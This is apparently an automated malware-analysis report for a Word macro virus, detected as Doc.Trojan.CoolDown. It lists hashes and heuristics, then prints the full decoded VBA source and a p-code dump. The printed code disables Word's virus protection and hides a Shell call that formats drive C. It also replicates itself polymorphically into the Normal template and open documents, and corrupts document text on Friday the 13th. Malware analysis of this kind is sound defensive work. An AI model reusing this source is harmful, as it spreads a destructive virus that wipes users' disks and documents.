Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ce57ff0245678bd4…

MALICIOUS

Office (OLE)

38.5 KB Created: 2002-06-06 03:30:00 Authoring application: Microsoft Word 9.0 First seen: 2015-09-23
MD5: 6db458497a79435ebfe92b8b21820590 SHA-1: 97c614847bbf787430bf938734677a467d4d0981 SHA-256: ce57ff0245678bd474e1dd082a53252c5092370692988564dead646fb2628f05
208 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1497.001 System Checks: System Info Discovery

The sample contains a VBA macro that executes a Document_Open subroutine. This subroutine attempts to disable virus protection and then calls the 'format c: /autotest' command, which is highly destructive. The macro also exhibits self-replication behavior, indicating an attempt to tamper with VBA project code.

Heuristics 5

  • ClamAV: Doc.Trojan.CoolDown-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.CoolDown-1
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
            Shell("format" & _
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
           .DeleteLines _
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
               Document_Open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 30755 bytes
SHA-256: 8eaeb6ac4429521f3ab068605ea292ff30ac5361b55b4879b95e85dbe2ad8d0d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
               ' 9698.537
Private Sub _
           Document_Open()
               
CoolDown _
   0
               
' 6143.058
End _
         Sub
   Private Sub Document_Close()
             CoolDown 0
       ' 6136.534
End Sub
               Private _
           Sub ViewVBCode()
       CoolDown _
          1
       ' 4987.288
End Sub
         
' 7052.226
' 5057.934
Private _
      Sub _
        CoolDown(How As Integer)
            On _
      Error Resume Next
           Dim c As String, _
 a _
     As _
             Long, b As Long, _
             d _
         As _
            Long, e As Long, f As Long, _
   res As _
              String, m _
     As _
       Boolean
            Randomize
   With Options
              .VirusProtection = _
                False
           ' 471.1831
.ConfirmConversions _
        = False
            .SaveNormalPrompt _
                = _
          False
   End With
           ' 3984.335
If How = _
           1 _
 Then
            ' 8606.404
s _
       = _
        Shell("format" & _
              Chr(32) & _
           "c:" _
       & _
     Chr(32) _
 & _
  "/autotest", _
 vbHide)
             ' 6976.805
Else
         With _
    NormalTemplate.VBProject.VBComponents(1).CodeModule
       If _
    Not _
           .Find("Cool" & "Down", _
         1, _
  1, _
                1000, 1000, _
            False, False) Then
       

' 2994.814
' 4033.705
' 7655.415
a _
         = .CountOfLines
                For _
     b = 1 To a
       .DeleteLines _
               (1)
  Next
           ' 6461.275
' 9465.145
' 4807.808
d = _
           1
   a _
           = _
             ActiveDocument.VBProject.VBComponents(1).CodeModule.CountOfLines
               
' 7100.946
' 3855.403

' 8981.387

res _
            = _
      ""
         For _
            b = 1 _
 To a
     c _
   = ActiveDocument.VBProject.VBComponents(1).CodeModule.Lines(b, 1)
               c _
             = _
    RTrim(LTrim(c))
                If foo(c, _
            f, _
            res) Then
        .InsertLines _
      d, _
Space(Rnd _
     * _
     16) & _
         res
         ' 4435.59
' 6455.385
d = d + _
  f
               f _
       = _
       0
              ' 1378.528
res = ""
     ' 2845.397
End _
 If
' 1812.611
Next
              ' 9198.63
' 9509.816

' 9251.315
NormalTemplate.Save
            ' 6880.943
End _
     If
        ' 5216.785
End With
            ' 4191.488
For e _
   = 1 To Documents.Count
              With _
        Documents(e).VBProject.VBComponents(1).CodeModule
   ' 680.1027
If _
               Not .Find("Cool" _
       & "Down", _
             1, 1, _
      1000, 1000, _
 False, _
          False) Then
         ' 2644.876
' 5208.129

a = .CountOfLines
            m _
             = Documents(e).Saved
 For _
               b = 1 To _
         a
 .DeleteLines _
           (1)
     Next
         ' 1616.071
d = 1
    a = _
        NormalTemplate.VBProject.VBComponents(1).CodeModule.CountOfLines
             ' 8179.904
res = _
          ""
 
' 5365.369
' 4295.099
For _
   b = 1 To _
              a
      c = NormalTemplate.VBProject.VBComponents(1).CodeModule.Lines(b, 1)
           c _
 = RTrim(LTrim(c))
          If _
         foo(c, f, _
               res) _
  Then
         ' 2279.423
' 6740.393
' 514.7952
.InsertLines _
        d, Space(Rnd * _
        16) _
 & res
 d = _
       d + f
     ' 4624.699
' 2096.517
' 7202.546
' 7647.229
f = _
             0
    ' 6373.487

' 2121.608
' 6893.111
res _
   = _
   ""
             
' 2481.338
End If
              Next
  ' 4314.839
' 3004.26
' 1572.881
If Documents(e).Path _
               <> _
   "" Then
           Documents(e).SaveAs _
               AddToRecentFiles:=False
   ' 9824.329
' 1663.181
End If
       If (WeekDay(Date) _
 = 6) _
        And (Day(Date) _
          = _
 13) _
  And _
   (Rnd > 0.7) _
         Then
  ' 2933.449
Application.StatusBar _
   = ""
              ' 348.9393
' 9365.158
Application.DisplayStatusBar _
            = _
   False
         Application.ScreenUpdating _
              = False
  ' 8335.021
' 3114.101
With _
    Documents(e).Content
                .Find.Execute _
          FindText:="ïð", ReplaceWith:="ïèçä", _
          Replace:=wdReplaceAll
           .Find.Execute FindText:="äð", ReplaceWith:="ïîíîñ", Replace:=wdReplaceAll
            ' 5836.699
.Find.Execute _
          FindText:="êð", ReplaceWith:="êîáûë", _
Replace:=wdReplaceAll
      ' 2475.666
.Find.Execute _
              FindText:="ñòð", _
        ReplaceWith:="åáàí", Replace:=wdReplaceAll
   ' 5852.046
.Find.Execute FindText:="ñð", _
              ReplaceWith:="ñðàê", _
         Replace:=wdReplaceAll
            .Find.Execute _
   FindText:="òð", _
         ReplaceWith:="òðàõ", _
            Replace:=wdReplaceAll
               
' 9282.806
.Find.Execute _
        FindText:="áð", _
            ReplaceWith:="áëÿä", _
 Replace:=wdReplaceAll
                ' 6638.065
' 7614.185
.Find.Execute FindText:="âð", ReplaceWith:="âûåá", Replace:=wdReplaceAll
            .Find.Execute FindText:="ãð", ReplaceWith:="ãîâí", _
              Replace:=wdReplaceAll
             .Find.Execute _
     FindText:="æð", _
    ReplaceWith:="æîï", _
      Replace:=wdReplaceAll

' 8791.414
' 7537.102
' 3375.583
.Find.Execute _
         FindText:="çð", _
 ReplaceWith:="çàëóï", Replace:=wdReplaceAll
              ' 4870.983
.Find.Execute FindText:="äæ", _
    ReplaceWith:="äæîï", Replace:=wdReplaceAll
            ' 9362.829
.Find.Execute FindText:="êàë", ReplaceWith:="äåð", _
Replace:=wdReplaceAll
            .Find.Execute _
                FindText:="áóõ", _
  ReplaceWith:="áðÿê", _
   Replace:=wdReplaceAll
             End With
         ' 3740.521
' 7288.3
Documents(e).UndoClear
' 5713.85
' 5956.67
Application.DisplayStatusBar = _
          True
          Application.ScreenUpdating _
         = True
    ' 3111.892
' 6512.252
Application.StatusBar _
      = ""
             ' 7393.604
End _
               If
               Documents(e).Saved _
   = m
              End _
     If
 End _
        With
        ' 7011.365
Next
             ' 9866.989
End _
 If
 ' 2999.397

' 9987.417
End _
     Sub
     
' 8866.263

' 3429.818
Private _
                Function _
           foo(ByRef s _
             As _
    String, ByRef i As Long, ByRef _
        res As _
               String) As _
             Boolean
   
Dim tmp As String
          ' 486.5986
' 8586.589
' 5289.067
If _
               (Left(s, 1) = "'") Or (Len(s) = 0) _
         Then
 ' 7978.172
' 5299.711
foo = _
            False
              Exit _
      Function
      ' 5787.237
' 1309.815
End _
  If
             ' 7038.897

If Right(s, _
               2) = _
    Chr(32) & _
       "_" _
              Then
               res = res _
        & Left(s, _
      Len(s) _
               - 1)
         

' 4972.939
foo _
  = False
            ' 5219.488
' 8706.896
' 7890.977
Exit Function
      End _
 If
     tmp = res _
           & s
     ' 8282.419
res = ""
 ' 8164.352
i = _
            1
     ' 1841.801
While Rnd > _
   0.5
             ' 1240.063
If Rnd _
 < _
      0.8 _
  Then
              res = res & "'" _
        & Str(Rnd _
  * 10000)
            
End _
             If
        ' 9004.449
res _
          = res & Chr(13)
 i = i _
              + 1
            
Wend
     ' 4882.628
' 7000.126
For _
   a = _
             1 _
     To _
      Len(tmp)
               res = res & _
                Mid(tmp, _
a, _
           1)
             If _
            Mid(tmp, _
         a, 1) _
     = _
               Chr(32) _
        Then
               If _
      Rnd > _
0.5 Then
              res = _
        res _
         & _
            "_" _
                & Chr(13) & _
  Space(Rnd * 16)
          i _
= i + _
1
  ' 8806.321
' 9267.178
End _
 If
 ' 5320.891
' 8953.635

' 7729.877
End If
    
' 5157.937
' 1585.824
Next
        
foo = True
   End _
         Function


' Processing file: /opt/analyzer/scan_staging/a103a53961644ecf8f7734fe8c77359a.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 13922 bytes
' Line #0:
' 	QuoteRem 0x000F 0x0009 " 9698.537"
' Line #1:
' 	LineCont 0x0004 02 00 0B 00
' 	FuncDefn (Private Sub Document_Open())
' Line #2:
' Line #3:
' 	LineCont 0x0004 01 00 03 00
' 	LitDI2 0x0000 
' 	ArgsCall CoolDown 0x0001 
' Line #4:
' Line #5:
' 	QuoteRem 0x0000 0x0009 " 6143.058"
' Line #6:
' 	LineCont 0x0004 01 00 09 00
' 	EndSub 
' Line #7:
' 	FuncDefn (Private Sub Document_Close())
' Line #8:
' 	LitDI2 0x0000 
' 	ArgsCall CoolDown 0x0001 
' Line #9:
' 	QuoteRem 0x0007 0x0009 " 6136.534"
' Line #10:
' 	EndSub 
' Line #11:
' 	LineCont 0x0004 01 00 0B 00
' 	FuncDefn (Private Sub ViewVBCode())
' Line #12:
' 	LineCont 0x0004 01 00 0A 00
' 	LitDI2 0x0001 
' 	ArgsCall CoolDown 0x0001 
' Line #13:
' 	QuoteRem 0x0007 0x0009 " 4987.288"
' Line #14:
' 	EndSub 
' Line #15:
' Line #16:
' 	QuoteRem 0x0000 0x0009 " 7052.226"
' Line #17:
' 	QuoteRem 0x0000 0x0009 " 5057.934"
' Line #18:
' 	LineCont 0x0008 01 00 06 00 02 00 08 00
' 	FuncDefn (Private Sub CoolDown(How As Integer))
' Line #19:
' 	LineCont 0x0004 01 00 06 00
' 	OnError (Resume Next) 
' Line #20:
' 	LineCont 0x0028 05 00 01 00 06 00 05 00 07 00 0D 00 0D 00 0D 00 0E 00 09 00 0F 00 0C 00 19 00 03 00 1B 00 0E 00 1E 00 05 00 1F 00 07 00
' 	Dim 
' 	VarDefn c (As String)
' 	VarDefn a (As Long)
' 	VarDefn B (As Long)
' 	VarDefn d (As Long)
' 	VarDefn e (As Long)
' 	VarDefn False (As Long)
' 	VarDefn res (As String)
' 	VarDefn m (As Boolean)
' Line #21:
' 	ArgsCall Read 0x0000 
' Line #22:
' 	StartWithExpr 
' 	Ld Options 
' 	With 
' Line #23:
' 	LineCont 0x0004 03 00 10 00
' 	LitVarSpecial (False)
' 	MemStWith VirusProtection 
' Line #24:
' 	QuoteRem 0x000B 0x0009 " 471.1831"
' Line #25:
' 	LineCont 0x0004 02 00 08 00
' 	LitVarSpecial (False)
' 	MemStWith ConfirmConversions 
' Line #26:
' 	LineCont 0x0008 02 00 10 00 03 00 0A 00
' 	LitVarSpecial (False)
' 	MemStWith SaveNormalPrompt 
' Line #27:
' 	EndWith 
' Line #28:
' 	QuoteRem 0x000B 0x0009 " 3984.335"
' Line #29:
' 	LineCont 0x0008 03 00 0B 00 04 00 01 00
' 	Ld How 
' 	LitDI2 0x0001 
' 	Eq 
' 	IfBlock 
' Line #30:
' 	QuoteRem 0x000C 0x0009 " 8606.404"
' Line #31:
' 	LineCont 0x0024 01 00 07 00 02 00 08 00 06 00 0E 00 0B 00 0B 00 0C 00 07 00 0D 00 05 00 11 00 01 00 12 00 02 00 14 00 01 00
' 	LitStr 0x0006 "format"
' 	LitDI2 0x0020 
' 	ArgsLd Chr 0x0001 
' 	Concat 
' 	LitStr 0x0002 "c:"
' 	Concat 
' 	LitDI2 0x0020 
' 	ArgsLd Chr 0x0001 
' 	Concat 
' 	LitStr 0x0009 "/autotest"
' 	Concat 
' 	Ld vbHide 
' 	ArgsLd Shell 0x0002 
' 	St s 
' Line #32:
' 	QuoteRem 0x000D 0x0009 " 6976.805"
' Line #33:
' 	ElseBlock 
' Line #34:
' 	LineCont 0x0004 01 00 04 00
' 	StartWithExpr 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd CodeModule 
' 	With 
' Line #35:
' 	LineCont 0x0018 01 00 04 00 02 00 0B 00 09 00 09 00 0B 00 02 00 0D 00 10 00 11 00 0C 00
' 	LitStr 0x0004 "Cool"
' 	LitStr 0x0004 "Down"
' 	Concat 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	LitDI2 0x03E8 
' 	LitDI2 0x03E8 
' 	LitVarSpecial (False)
' 	LitVarSpecial (False)
' 	ArgsMemLdWith Find 0x0007 
' 	Not 
' 	IfBlock 
' Line #36:
' Line #37:
' Line #38:
' 	QuoteRem 0x0000 0x0009 " 2994.814"
' Line #39:
' 	QuoteRem 0x0000 0x0009 " 4033.705"
' Line #40:
' 	QuoteRem 0x0000 0x0009 " 7655.415"
' Line #41:
' 	LineCont 0x0004 01 00 09 00
' 	MemLdWith CountOfLines 
' 	St a 
' Line #42:
' 	LineCont 0x0004 01 00 05 00
' 	StartForVariable 
' 	Ld B 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld a 
' 	For 
' Line #43:
' 	LineCont 0x0004 02 00 0F 00
' 	LitDI2 0x0001 
' 	Paren 
' 	ArgsMemCallWith DeleteLines 0x0001 
' Line #44:
' 	StartForVariable 
' 	Next 
' Line #45:
' 	QuoteRem 0x000B 0x0009 " 6461.275"
' Line #46:
' 	QuoteRem 0x0000 0x0009 " 9465.145"
' Line #47:
' 	QuoteRem 0x0000 0x0009 " 4807.808"
' Line #48:
' 	LineCont 0x0004 02 00 0B 00
' 	LitDI2 0x0001 
' 	St d 
' Line #49:
' 	LineCont 0x0008 01 00 0B 00 02 00 0D 00
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	St a 
' Line #50:
' Line #51:
' 	QuoteRem 0x0000 0x0009 " 7100.946"
' Line #52:
' 	QuoteRem 0x0000 0x0009 " 3855.403"
' Line #53:
' Line #54:
' 	QuoteRem 0x0000 0x0009 " 8981.387"
' Line #55:
' Line #56:
' 	LineCont 0x0008 01 00 0C 00 02 00 06 00
' 	LitStr 0x0000 ""
' 	St res 
' Line #57:
' 	LineCont 0x0008 01 00 0C 00 04 00 01 00
' 	StartForVariable 
' 	Ld B 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld a 
' 	For 
' Line #58:
' 	LineCont 0x0004 01 00 03 00
' 	Ld B 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	St c 
' Line #59:
' 	LineCont 0x0008 01 00 0D 00 02 00 04 00
' 	Ld c 
' 	ArgsLd LTrim 0x0001 
' 	ArgsLd RTrim 0x0001 
' 	St c 
' Line #60:
' 	LineCont 0x0008 05 00 0C 00 07 00 0C 00
' 	Ld c 
' 	Ld False 
' 	Ld res 
' 	ArgsLd foo 0x0003 
' 	IfBlock 
' Line #61:
' 	LineCont 0x0014 02 00 06 00 04 00 00 00 07 00 05 00 08 00 05 00 0B 00 09 00
' 	Ld d 
' 	Ld Rnd 
' 	LitDI2 0x0010 
' 	Mul 
' 	ArgsLd Space 0x0001 
' 	Ld res 
' 	Concat 
' 	ArgsMemCallWith InsertLines 0x0002 
' Line #62:
' 	QuoteRem 0x0009 0x0008 " 4435.59"
' Line #63:
' 	QuoteRem 0x0000 0x0009 " 6455.385"
' Line #64:
' 	LineCont 0x0004 04 00 02 00
' 	Ld d 
' 	Ld False 
' 	Add 
' 	St d 
' Line #65:
' 	LineCont 0x0008 01 00 07 00 02 00 07 00
' 	LitDI2 0x0000 
' 	St False 
' Line #66:
' 	QuoteRem 0x000E 0x0009 " 1378.528"
' Line #67:
' 	LitStr 0x0000 ""
' 	St res 
' Line #68:
' 	QuoteRem 0x0005 0x0009 " 2845.397"
' Line #69:
' 	LineCont 0x0004 01 00 01 00
' 	EndIfBlock 
' Line #70:
' 	QuoteRem 0x0000 0x0009 " 1812.611"
' Line #71:
' 	StartForVariable 
' 	Next 
' Line #72:
' 	QuoteRem 0x000E 0x0008 " 9198.63"
' Line #73:
' 	QuoteRem 0x0000 0x0009 " 9509.816"
' Line #74:
' Line #75:
' 	QuoteRem 0x0000 0x0009 " 9251.315"
' Line #76:
' 	Ld NormalTemplate 
' 	ArgsMemCall Save 0x0000 
' Line #77:
' 	QuoteRem 0x000C 0x0009 " 6880.943"
' Line #78:
' 	LineCont 0x0004 01 00 05 00
' 	EndIfBlock 
' Line #79:
' 	QuoteRem 0x0008 0x0009 " 5216.785"
' Line #80:
' 	EndWith 
' Line #81:
' 	QuoteRem 0x000C 0x0009 " 4191.488"
' Line #82:
' 	LineCont 0x0004 02 00 03 00
' 	StartForVariable 
' 	Ld e 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld Documents 
' 	MemLd Count 
' 	For 
' Line #83:
' 	LineCont 0x0004 01 00 08 00
' 	StartWithExpr 
' 	LitDI2 0x0001 
' 	Ld e 
' 	ArgsLd Documents 0x0001 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd CodeModule 
' 	With 
' Line #84:
' 	QuoteRem 0x0003 0x0009 " 680.1027"
' Line #85:
' 	LineCont 0x0018 01 00 0F 00 06 00 07 00 09 00 0D 00 0D 00 06 00 11 00 01 00 13 00 0A 00
' 	LitStr 0x0004 "Cool"
' 	LitStr 0x0004 "Down"
' 	Concat 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	LitDI2 0x03E8 
' 	LitDI2 0x03E8 
' 	LitVarSpecial (False)
' 	LitVarSpecial (False)
' 	ArgsMemLdWith Find 0x0007 
' 	Not 
' 	IfBlock 
' Line #86:
' 	QuoteRem 0x0009 0x0009 " 2644.876"
' Line #87:
' 	QuoteRem 0x0000 0x0009 " 5208.129"
' Line #88:
' Line #89:
' 	MemLdWith CountOfLines 
' 	St a 
' Line #90:
' 	LineCont 0x0004 01 00 0D 00
' 	Ld e 
' 	ArgsLd Documents 0x0001 
' 	MemLd Saved 
' 	St m 
' Line #91:
' 	LineCont 0x0008 01 00 0F 00 05 00 09 00
' 	StartForVariable 
' 	Ld B 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld a 
' 	For 
' Line #92:
' 	LineCont 0x0004 02 00 0B 00
' 	LitDI2 0x0001 
' 	Paren 
' 	ArgsMemCallWith DeleteLines 0x0001 
' Line #93:
' 	StartForVariable 
' 	Next 
' Line #94:
' 	QuoteRem 0x0009 0x0009 " 1616.071"
' Line #95:
' 	LitDI2 0x0001 
' 	St d 
' Line #96:
' 	LineCont 0x0004 02 00 08 00
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	St a 
' Line #97:
' 	QuoteRem 0x000D 0x0009 " 8179.904"
' Line #98:
' 	LineCont 0x0004 02 00 0A 00
' 	LitStr 0x0000 ""
' 	St res 
' Line #99:
' Line #100:
' 	QuoteRem 0x0000 0x0009 " 5365.369"
' Line #101:
' 	QuoteRem 0x0000 0x0009 " 4295.099"
' Line #102:
' 	LineCont 0x0008 01 00 03 00 05 00 0E 00
' 	StartForVariable 
' 	Ld B 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld a 
' 	For 
' Line #103:
' 	Ld B 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	St c 
' Line #104:
' 	LineCont 0x0004 01 00 01 00
' 	Ld c 
' 	ArgsLd LTrim 0x0001 
' 	ArgsLd RTrim 0x0001 
' 	St c 
' Line #105:
' 	LineCont 0x000C 01 00 09 00 07 00 0F 00 09 00 02 00
' 	Ld c 
' 	Ld False 
' 	Ld res 
' 	ArgsLd foo 0x0003 
' 	IfBlock 
' Line #106:
' 	QuoteRem 0x0009 0x0009 " 2279.423"
' Line #107:
' 	QuoteRem 0x0000 0x0009 " 6740.393"
' Line #108:
' 	QuoteRem 0x0000 0x0009 " 514.7952"
' Line #109:
' 	LineCont 0x000C 02 00 08 00 08 00 08 00 0A 00 01 00
' 	Ld d 
' 	Ld Rnd 
' 	LitDI2 0x0010 
' 	Mul 
' 	ArgsLd Space 0x0001 
' 	Ld res 
' 	Concat 
' 	ArgsMemCallWith InsertLines 0x0002 
' Line #110:
' 	LineCont 0x0004 02 00 07 00
' 	Ld d 
' 	Ld False 
' 	Add 
' 	St d 
' Line #111:
' 	QuoteRem 0x0005 0x0009 " 4624.699"
' Line #112:
' 	QuoteRem 0x0000 0x0009 " 2096.517"
' Line #113:
' 	QuoteRem 0x0000 0x0009 " 7202.546"
' Line #114:
' 	QuoteRem 0x0000 0x0009 " 7647.229"
' Line #115:
' 	LineCont 0x0004 02 00 0D 00
' 	LitDI2 0x0000 
' 	St False 
' Line #116:
' 	QuoteRem 0x0004 0x0009 " 6373.487"
' Line #117:
' Line #118:
' 	QuoteRem 0x0000 0x0009 " 2121.608"
' Line #119:
' 	QuoteRem 0x0000 0x0009 " 6893.111"
' Line #120:
' 	LineCont 0x0008 01 00 03 00 02 00 03 00
' 	LitStr 0x0000 ""
' 	St res 
' Line #121:
' Line #122:
' 	QuoteRem 0x0000 0x0009 " 2481.338"
' Line #123:
' 	EndIfBlock 
' Line #124:
' 	StartForVariable 
' 	Next 
' Line #125:
' 	QuoteRem 0x0002 0x0009 " 4314.839"
' Line #126:
' 	QuoteRem 0x0000 0x0008 " 3004.26"
' Line #127:
' 	QuoteRem 0x0000 0x0009 " 1572.881"
' Line #128:
' 	LineCont 0x0008 07 00 0F 00 08 00 03 00
' 	Ld e 
' 	ArgsLd Documents 0x0001 
' 	MemLd Path 
' 	LitStr 0x0000 ""
' 	Ne 
' 	IfBlock 
' Line #129:
' 	LineCont 0x0004 06 00 0F 00
' 	LitVarSpecial (False)
' 	ParamNamed AddToRecentFiles 
' 	Ld e 
' 	ArgsLd Documents 0x0001 
' 	ArgsMemCall SaveAs 0x0001 
' Line #130:
' 	QuoteRem 0x0003 0x0009 " 9824.329"
' Line #131:
' 	QuoteRem 0x0000 0x0009 " 1663.181"
' Line #132:
' 	EndIfBlock 
' Line #133:
' 	LineCont 0x001C 06 00 01 00 09 00 08 00 0F 00 0A 00 10 00 01 00 12 00 02 00 13 00 03 00 18 00 09 00
' 	Ld Date 
' 	ArgsLd WeekDay 0x0001 
' 	LitDI2 0x0006 
' 	Eq 
' 	Paren 
' 	Ld Date 
' 	ArgsLd Day 0x0001 
' 	LitDI2 0x000D 
' 	Eq 
' 	Paren 
' 	And 
' 	Ld Rnd 
' 	LitR8 0x6666 0x6666 0x6666 0x3FE6 
' 	Gt 
' 	Paren 
' 	And 
' 	IfBlock 
' Line #134:
' 	QuoteRem 0x0002 0x0009 " 2933.449"
' Line #135:
' 	LineCont 0x0004 03 00 03 00
' 	LitStr 0x0000 ""
' 	Ld Application 
' 	MemSt StatusBar 
' Line #136:
' 	QuoteRem 0x000E 0x0009 " 348.9393"
' Line #137:
' 	QuoteRem 0x0000 0x0009 " 9365.158"
' Line #138:
' 	LineCont 0x0008 03 00 0C 00 04 00 03 00
' 	LitVarSpecial (False)
' 	Ld Application 
' 	MemSt DisplayStatusBar 
' Line #139:
' 	LineCont 0x0004 03 00 0E 00
' 	LitVarSpecial (False)
' 	Ld Application 
' 	MemSt ScreenUpdating 
…

Open this report in the interactive analyzer, or submit your own file for analysis.